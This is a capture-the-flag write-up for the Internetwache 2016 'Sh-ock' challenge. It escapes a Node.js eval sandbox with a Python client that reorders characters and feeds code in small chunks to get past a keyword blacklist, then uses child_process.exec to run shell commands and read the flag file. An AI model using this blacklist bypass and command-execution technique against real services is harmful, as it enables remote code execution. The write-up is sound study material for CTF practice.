IW2016 CTF exp90 Sh-ock

@mrexcessive @ WHA

Internetwache 2016 CTF

exp90 Sh-ock

https://ctf.internetwache.org/tasks/exp/90

The problem

Description: This is some kind of weird thing. I am sh-ocked.

Service: 188.166.135.120:12589 
moved to Service: 188.166.133.53:12589

The solution

This was the first one I looked at, and annoyingly, the remote service wasn't accepting connection.
Comment from IRC that the published IP was wrong (DDOS avoidance ?)

So... now we have a connection and a prompt

peter $ nc 188.166.133.53 12589
$

So... how to get to flag from here ...

First... engage mind of a four year old and TYPE ALL THE KEYS

$abcdefghijklmnopqrstuvwxyz
[ReferenceError: wsokgcba is not defined]

Interesting... Is it just picking from those positions ?

 ; i   m   a   o   h   w
 ;;iCCCmDDDaEEEoFFFhGGGwHHH
$;BiCCCmDDDaEEEoFFFhGGGwHHH
[ReferenceError: whoamiB is not defined]
$;;iCCCmDDDaEEEoFFFhGGGwHHH
[ReferenceError: whoami is not defined]

Further hmmmm...

$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789    
[SyntaxError: Unexpected identifier]
$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
[ReferenceError: UOICwqkedcba is not defined]

Looks like it stops taking chars after 52 and reorders up to that but you only get 12 chars ?

I smell some kind of weird-shell sandbox escape...

I don't want to be manually re-ordering chars all the time...

Custom Client Time !

Copy my usual pwnserver.py script, it's just like a very weak and pathetic version of pwntools...

These routines are the crucial part for char re-ordering, full exploit terminal code linked at end -->

flagDoPad = True
boxIn = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
boxOut = "UOICwqkedcba"

def DoTranslate(a):
   padchar = ";"
   op = boxIn     # fully padded
   if len(a)>len(boxOut):
      print "TRUNCATED BEFORE SENDING"
      a = a[:len(boxOut)]
   else:
      if flagDoPad:  # pad with spaces to length
         a = (a + " "*len(boxOut))[:len(boxOut)]
   for i,c in enumerate(a):                     # a[N] maps to position of bo[N]
      lkup = boxOut[i]
      lkuppos = boxIn.find(lkup)
      op = op[:lkuppos] + c + op[lkuppos+1:]    # insert c 
   return op

def TranslateAndSendShowResponse(a):
   b = DoTranslate(a)
   Send(b+"\n")
   r = GetResponse(expect="$", timeout=2)
   if debugShowRaw: HexPrint(r)
   sys.stdout.write(r)
   sys.stdout.flush()

With that utility around... can now connect through pwn.py and type in (up to 12 chars!) of text and try to find some things out.

It's javascript...

$this
Interface {
  _sawReturn: false,
  domain: null,
  _events: 
   { close: { [Function: g] listener: [Function] },
     line: [Function] },
  _eventsCount: 2,
  _maxListeners: undefined,
  output: 
   Socket {
     _connecting: false,
     _hadError: false,
     _handle: 
      TCP {
        _externalStream: {},
.../snip/...

We can build a string and then eval it. PoC

$a="1"
1
$a=a+"23+4"
123
$eval(a)
127

Nice!

If only I knew more about javascript sandbox escapes... to the Google...
http://eloquentjavascript.net/1st_edition/paper.html
https://f0rki.at/hacklu-ctf-2014-write-up-objection.html

Hmmm can we get the code... in 'this':

  _events: 
   { close: { [Function: g] listener: [Function] },
     line: [Function] },

Time for a new utility function on the custom client...
manually entering anything > 12 chars is boring...

def SendAndMaybeEval(code, doEval=False):
   # break code up into 3 char chunks appends to 'a' then eval it
   # 3 char not 12 char because of 'reserved word' spotting...
   TranslateAndSendShowResponse("a=''")
   while len(code) > 0:
      bit = code[:3]
      code = code[3:]
      TranslateAndSendShowResponse("a+='%s'" % bit)
   if doEval: TranslateAndSendShowResponse("eval(a)")

So now I can feed in (on a single line) arbitrary amounts of javascript to explore things further.

I lose some time getting to grips with the object model sufficiently...
OK so you can do .toString() on any Function object to get its source, nice !

So ...

$a=this._events.close; b=this._events.line;
$a.toString()
function g() {
    this.removeListener(type, g);

    if (!fired) {
      fired = true;
      listener.apply(this, arguments);
    }
  }
$b.toString()
function (line){
    var blacklist = /(eval|require|flag)/
    line = reverse(line);
    if(line.match(blacklist)) {
        console.log('Blacklisted commands');
        process.stdout.write('$');
        return;
    }
    if(line.length <= 10) {
        line = line.replace(/.(.)?/g, '$1');
    } else if(line.length <= 20) {
        line = line.replace(/..(.)?/g, '$1');
    } else if(line.length <= 30) {
        line = line.replace(/...(.)?/g, '$1');
    } else if(line.length <= 40) {
        line = line.replace(/....(.)?/g, '$1');
    } else {
        line = line.replace(/.....(.)?/g, '$1');
    }    
    try {
        console.log(eval(line));
    }catch(e) {
        console.log(e);
    }

    process.stdout.write('$');
}

And process has this:

$process
process {
  title: '/opt/nodejs/bin/node',
  version: 'v4.3.0',
  moduleLoadList: 
   [ 'Binding contextify',
     'Binding natives',
     'NativeModule events',
     'NativeModule buffer',
     'Binding buffer',
     'NativeModule internal/util',
     'Binding util',
     'NativeModule timers',
     'Binding timer_wrap',
     'NativeModule _linklist',
     'NativeModule assert',
     'NativeModule util',
     'Binding uv',
     'NativeModule path',
     'NativeModule module',
     'NativeModule internal/module',
     'NativeModule vm',
     'NativeModule fs',
     'Binding fs',
     'NativeModule constants',
     'Binding constants',
     'NativeModule stream',
     'NativeModule _stream_readable',
     'NativeModule _stream_writable',
     'NativeModule _stream_duplex',
     'NativeModule _stream_transform',
     'NativeModule _stream_passthrough',
     'Binding fs_event_wrap',
     'NativeModule readline',
     'Binding tty_wrap',
     'NativeModule net',
     'Binding cares_wrap',
     'Binding tcp_wrap',
     'Binding pipe_wrap',
     'Binding stream_wrap',
     'NativeModule string_decoder',
     'NativeModule console' ],
  versions: 
   { http_parser: '2.5.1',
     node: '4.3.0',
     v8: '4.5.103.35',
     uv: '1.8.0',
     zlib: '1.2.8',
     ares: '1.10.1-DEV',
     icu: '56.1',
     modules: '46',
     openssl: '1.0.2f' },
  arch: 'x64',
  platform: 'linux',
  release: 
   { name: 'node',
     lts: 'Argon',
     sourceUrl: 'https://nodejs.org/download/release/v4.3.0/node-v4.3.0.tar.gz',
     headersUrl: 'https://nodejs.org/download/release/v4.3.0/node-v4.3.0-headers.tar.gz' },
  argv: [ '/opt/node-v4.3.0-linux-x64/bin/node', '/home/exp90/task.js' ],
  execArgv: [],
  env: 
   { OLDPWD: '/etc/service/exp90',
     PATH: '/command:/usr/local/bin:/usr/local/sbin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/X11R6/bin',
     PWD: '/home/exp90',
     SHLVL: '0',
     PROTO: 'TCP',
     TCPLOCALIP: '10.133.6.209',
     TCPLOCALPORT: '12589',
     TCPREMOTEIP: '10.133.11.41',
     TCPREMOTEPORT: '34091' },
  pid: 9720,
  features: 
   { debug: false,
     uv: true,
     ipv6: true,
     tls_npn: true,
     tls_sni: true,
     tls_ocsp: true,
     tls: true },
  _needImmediateCallback: false,
  execPath: '/opt/node-v4.3.0-linux-x64/bin/node',
  debugPort: 5858,
  _startProfilerIdleNotifier: [Function: _startProfilerIdleNotifier],
  _stopProfilerIdleNotifier: [Function: _stopProfilerIdleNotifier],
  _getActiveRequests: [Function: _getActiveRequests],
  _getActiveHandles: [Function: _getActiveHandles],
  reallyExit: [Function: reallyExit],
  abort: [Function: abort],
  chdir: [Function: chdir],
  cwd: [Function: cwd],
  umask: [Function: umask],
  getuid: [Function: getuid],
  geteuid: [Function: geteuid],
  setuid: [Function: setuid],
  seteuid: [Function: seteuid],
  setgid: [Function: setgid],
  setegid: [Function: setegid],
  getgid: [Function: getgid],
  getegid: [Function: getegid],
  getgroups: [Function: getgroups],
  setgroups: [Function: setgroups],
  initgroups: [Function: initgroups],
  _kill: [Function: _kill],
  _debugProcess: [Function: _debugProcess],
  _debugPause: [Function: _debugPause],
  _debugEnd: [Function: _debugEnd],
  hrtime: [Function: hrtime],
  dlopen: [Function: dlopen],
  uptime: [Function: uptime],
  memoryUsage: [Function: memoryUsage],
  binding: [Function: binding],
  _linkedBinding: [Function: _linkedBinding],
  _setupDomainUse: [Function: _setupDomainUse],
  _events: { newListener: [Function], removeListener: [Function] },
  _rawDebug: [Function],
  domain: null,
  _maxListeners: undefined,
  EventEmitter: 
   { [Function: EventEmitter]
     EventEmitter: [Circular],
     usingDomains: false,
     defaultMaxListeners: 10,
     init: [Function],
     listenerCount: [Function] },
  _fatalException: [Function],
  _exiting: false,
  assert: [Function],
  config: 
   { target_defaults: 
      { cflags: [],
        default_configuration: 'Release',
        defines: [],
        include_dirs: [],
        libraries: [] },
     variables: 
      { asan: 0,
        gas_version: '2.23',
        host_arch: 'x64',
        icu_data_file: 'icudt56l.dat',
        icu_data_in: '../../deps/icu/source/data/in/icudt56l.dat',
        icu_endianness: 'l',
        icu_gyp_path: 'tools/icu/icu-generic.gyp',
        icu_locales: 'en,root',
        icu_path: './deps/icu',
        icu_small: true,
        icu_ver_major: '56',
        node_byteorder: 'little',
        node_install_npm: true,
        node_prefix: '/',
        node_release_urlbase: 'https://nodejs.org/download/release/',
        node_shared_http_parser: false,
        node_shared_libuv: false,
        node_shared_openssl: false,
        node_shared_zlib: false,
        node_tag: '',
        node_use_dtrace: false,
        node_use_etw: false,
        node_use_lttng: false,
        node_use_openssl: true,
        node_use_perfctr: false,
        openssl_fips: '',
        openssl_no_asm: 0,
        python: '/home/iojs/bin/python',
        target_arch: 'x64',
        uv_parent_path: '/deps/uv/',
        uv_use_dtrace: false,
        v8_enable_gdbjit: 0,
        v8_enable_i18n_support: 1,
        v8_no_strict_aliasing: 1,
        v8_optimized_debug: 0,
        v8_random_seed: 0,
        v8_use_snapshot: true,
        want_separate_host_toolset: 0 } },
  nextTick: [Function: nextTick],
  _tickCallback: [Function: _tickCallback],
  _tickDomainCallback: [Function: _tickDomainCallback],
  stdout: [Getter],
  stderr: [Getter],
  stdin: [Getter],
  openStdin: [Function],
  exit: [Function],
  kill: [Function],
  _eventsCount: NaN,
  mainModule: 
   Module {
     id: '.',
     exports: {},
     parent: null,
     filename: '/home/exp90/task.js',
     loaded: true,
     children: [],
     paths: 
      [ '/home/exp90/node_modules',
        '/home/node_modules',
        '/node_modules' ] } }

I do some exploring around process...

Then think of hitting on console... might need it for output...

$console
Console {
  log: [Function: bound ],
  info: [Function: bound ],
  warn: [Function: bound ],
  error: [Function: bound ],
  dir: [Function: bound ],
  time: [Function: bound ],
  timeEnd: [Function: bound ],
  trace: [Function: bound trace],
  assert: [Function: bound ],
  Console: [Function: Console] }

Some more messing later... the motherlode... require

$require
{ [Function: require]
  resolve: [Function],
  main: 
   Module {
     id: '.',
     exports: {},
     parent: null,
     filename: '/home/exp90/task.js',
     loaded: true,
     children: [],
     paths: 
      [ '/home/exp90/node_modules',
        '/home/node_modules',
        '/node_modules' ] },
  extensions: { '.js': [Function], '.json': [Function], '.node': [Function] },
  cache: 
   { '/home/exp90/task.js': 
      Module {
        id: '.',
        exports: {},
        parent: null,
        filename: '/home/exp90/task.js',
        loaded: true,
        children: [],
        paths: [Object] } },
  registerExtension: [Function] }

A bit more research
https://javascriptweblog.wordpress.com/2010/04/19/how-evil-is-eval/

So we can write things out with console.log() and

$require("child_process")
${ ChildProcess: 
   { [Function: ChildProcess]
     super_: 
      { [Function: EventEmitter]
        EventEmitter: [Circular],
        usingDomains: false,
        defaultMaxListeners: 10,
        init: [Function],
        listenerCount: [Function] } },
  fork: [Function],
  _forkChild: [Function],
  exec: [Function],
  execFile: [Function],
  spawn: [Function],
  spawnSync: [Function: spawnSync],
  execFileSync: [Function: execFileSync],
  execSync: [Function: execSync] }

Then... can I run shell commands ?

$exec=require("child_process").exec
$child=exec("ls -la;whoami", function(x,y,z) { console.log(y+"AAA"+z); })
$ChildProcess {
  domain: null,
  _events: 
   { close: [Function: exithandler],
     error: [Function: errorhandler] },
  _eventsCount: 2,
  _maxListeners: undefined,
  _closesNeeded: 3,
  _closesGot: 0,
  connected: false,
  signalCode: null,
  exitCode: null,
  killed: false,
  spawnfile: '/bin/sh',
  _handle: Process { owner: [Circular], onexit: [Function], pid: 21196 },
  spawnargs: [ '/bin/sh', '-c', 'ls -la;whoami' ],
  pid: 21196,
  stdin: 
   Socket {
     _connecting: false,
     _hadError: false,
     _handle: 
      Pipe {
        _externalStream: {},
        fd: 10,
        writeQueueSize: 0,
        owner: [Circular],
        onread: [Function: onread],
        reading: true },
     _parent: null,
     _host: null,
     _readableState: 
      ReadableState {
        objectMode: false,
        highWaterMark: 16384,
        buffer: [],
        length: 0,
        pipes: null,
        pipesCount: 0,
        flowing: null,
        ended: false,
        endEmitted: false,
        reading: true,
        sync: false,
        needReadable: true,
        emittedReadable: false,
        readableListening: false,
        defaultEncoding: 'utf8',
        ranOut: false,
        awaitDrain: 0,
        readingMore: false,
        decoder: null,
        encoding: null },
     readable: false,
     domain: null,
     _events: 
      { end: [Object],
        finish: [Function: onSocketFinish],
        _socketEnd: [Function: onSocketEnd] },
     _eventsCount: 3,
     _maxListeners: undefined,
     _writableState: 
      WritableState {
        objectMode: false,
        highWaterMark: 16384,
        needDrain: false,
        ending: false,
        ended: false,
        finished: false,
        decodeStrings: false,
        defaultEncoding: 'utf8',
        length: 0,
        writing: false,
        corked: 0,
        sync: true,
        bufferProcessing: false,
        onwrite: [Function],
        writecb: null,
        writelen: 0,
        bufferedRequest: null,
        lastBufferedRequest: null,
        pendingcb: 0,
        prefinished: false,
        errorEmitted: false },
     writable: true,
     allowHalfOpen: false,
     destroyed: false,
     bytesRead: 0,
     _bytesDispatched: 0,
     _sockname: null,
     _writev: null,
     _pendingData: null,
     _pendingEncoding: '' },
  stdout: 
   Socket {
     _connecting: false,
     _hadError: false,
     _handle: 
      Pipe {
        _externalStream: {},
        fd: 12,
        writeQueueSize: 0,
        owner: [Circular],
        onread: [Function: onread],
        reading: true },
     _parent: null,
     _host: null,
     _readableState: 
      ReadableState {
        objectMode: false,
        highWaterMark: 16384,
        buffer: [],
        length: 0,
        pipes: null,
        pipesCount: 0,
        flowing: true,
        ended: false,
        endEmitted: false,
        reading: true,
        sync: false,
        needReadable: true,
        emittedReadable: false,
        readableListening: false,
        defaultEncoding: 'utf8',
        ranOut: false,
        awaitDrain: 0,
        readingMore: false,
        decoder: [Object],
        encoding: 'utf8',
        resumeScheduled: true },
     readable: true,
     domain: null,
     _events: 
      { end: [Object],
        finish: [Function: onSocketFinish],
        _socketEnd: [Function: onSocketEnd],
        close: [Function],
        data: [Function] },
     _eventsCount: 5,
     _maxListeners: undefined,
     _writableState: 
      WritableState {
        objectMode: false,
        highWaterMark: 16384,
        needDrain: false,
        ending: false,
        ended: false,
        finished: false,
        decodeStrings: false,
        defaultEncoding: 'utf8',
        length: 0,
        writing: false,
        corked: 0,
        sync: true,
        bufferProcessing: false,
        onwrite: [Function],
        writecb: null,
        writelen: 0,
        bufferedRequest: null,
        lastBufferedRequest: null,
        pendingcb: 0,
        prefinished: false,
        errorEmitted: false },
     writable: false,
     allowHalfOpen: false,
     destroyed: false,
     bytesRead: 0,
     _bytesDispatched: 0,
     _sockname: null,
     _writev: null,
     _pendingData: null,
     _pendingEncoding: '' },
  stderr: 
   Socket {
     _connecting: false,
     _hadError: false,
     _handle: 
      Pipe {
        _externalStream: {},
        fd: 14,
        writeQueueSize: 0,
        owner: [Circular],
        onread: [Function: onread],
        reading: true },
     _parent: null,
     _host: null,
     _readableState: 
      ReadableState {
        objectMode: false,
        highWaterMark: 16384,
        buffer: [],
        length: 0,
        pipes: null,
        pipesCount: 0,
        flowing: true,
        ended: false,
        endEmitted: false,
        reading: true,
        sync: false,
        needReadable: true,
        emittedReadable: false,
        readableListening: false,
        defaultEncoding: 'utf8',
        ranOut: false,
        awaitDrain: 0,
        readingMore: false,
        decoder: [Object],
        encoding: 'utf8',
        resumeScheduled: true },
     readable: true,
     domain: null,
     _events: 
      { end: [Object],
        finish: [Function: onSocketFinish],
        _socketEnd: [Function: onSocketEnd],
        close: [Function],
        data: [Function] },
     _eventsCount: 5,
     _maxListeners: undefined,
     _writableState: 
      WritableState {
        objectMode: false,
        highWaterMark: 16384,
        needDrain: false,
        ending: false,
        ended: false,
        finished: false,
        decodeStrings: false,
        defaultEncoding: 'utf8',
        length: 0,
        writing: false,
        corked: 0,
        sync: true,
        bufferProcessing: false,
        onwrite: [Function],
        writecb: null,
        writelen: 0,
        bufferedRequest: null,
        lastBufferedRequest: null,
        pendingcb: 0,
        prefinished: false,
        errorEmitted: false },
     writable: false,
     allowHalfOpen: false,
     destroyed: false,
     bytesRead: 0,
     _bytesDispatched: 0,
     _sockname: null,
     _writev: null,
     _pendingData: null,
     _pendingEncoding: '' },
  stdio: 
   [ Socket {
       _connecting: false,
       _hadError: false,
       _handle: [Object],
       _parent: null,
       _host: null,
       _readableState: [Object],
       readable: false,
       domain: null,
       _events: [Object],
       _eventsCount: 3,
       _maxListeners: undefined,
       _writableState: [Object],
       writable: true,
       allowHalfOpen: false,
       destroyed: false,
       bytesRead: 0,
       _bytesDispatched: 0,
       _sockname: null,
       _writev: null,
       _pendingData: null,
       _pendingEncoding: '' },
     Socket {
       _connecting: false,
       _hadError: false,
       _handle: [Object],
       _parent: null,
       _host: null,
       _readableState: [Object],
       readable: true,
       domain: null,
       _events: [Object],
       _eventsCount: 5,
       _maxListeners: undefined,
       _writableState: [Object],
       writable: false,
       allowHalfOpen: false,
       destroyed: false,
       bytesRead: 0,
       _bytesDispatched: 0,
       _sockname: null,
       _writev: null,
       _pendingData: null,
       _pendingEncoding: '' },
     Socket {
       _connecting: false,
       _hadError: false,
       _handle: [Object],
       _parent: null,
       _host: null,
       _readableState: [Object],
       readable: true,
       domain: null,
       _events: [Object],
       _eventsCount: 5,
       _maxListeners: undefined,
       _writableState: [Object],
       writable: false,
       allowHalfOpen: false,
       destroyed: false,
       bytesRead: 0,
       _bytesDispatched: 0,
       _sockname: null,
       _writev: null,
       _pendingData: null,
       _pendingEncoding: '' } ] }
$total 32
drwxr-x---  2 exp90 exp90 4096 Feb 19 14:26 .
drwxr-xr-x 14 root  root  4096 Feb 11 12:19 ..
-rw-------  1 exp90 exp90    6 Feb 19 14:26 .bash_history
-rw-r--r--  1 exp90 exp90  220 Nov 13  2014 .bash_logout
-rw-r--r--  1 exp90 exp90 3515 Nov 13  2014 .bashrc
-rw-r--r--  1 exp90 exp90  675 Nov 13  2014 .profile
-rw-r--r--  1 root  exp90   24 Feb 11 18:23 flag.txt
-rw-r--r--  1 root  exp90 1011 Feb 11 18:23 task.js
exp90
AAA

Yes ! Shell commands (it makes it more 'real' for the reader if I leave in the full text output... I was hunting around in that stuff for a while, given meagre Javascript knowledge)

So now... get flag.txt


child=exec("cat *.txt", function(x,y,z) { console.log(y+"AAA"+z); })
$IW{Shocked-for-nothing!}AAA

Correct flag... Result!

IW{Shocked-for-nothing!}

The complete custom telnet client is here https://gist.github.com/mrexcessive/03534193fc44e51db962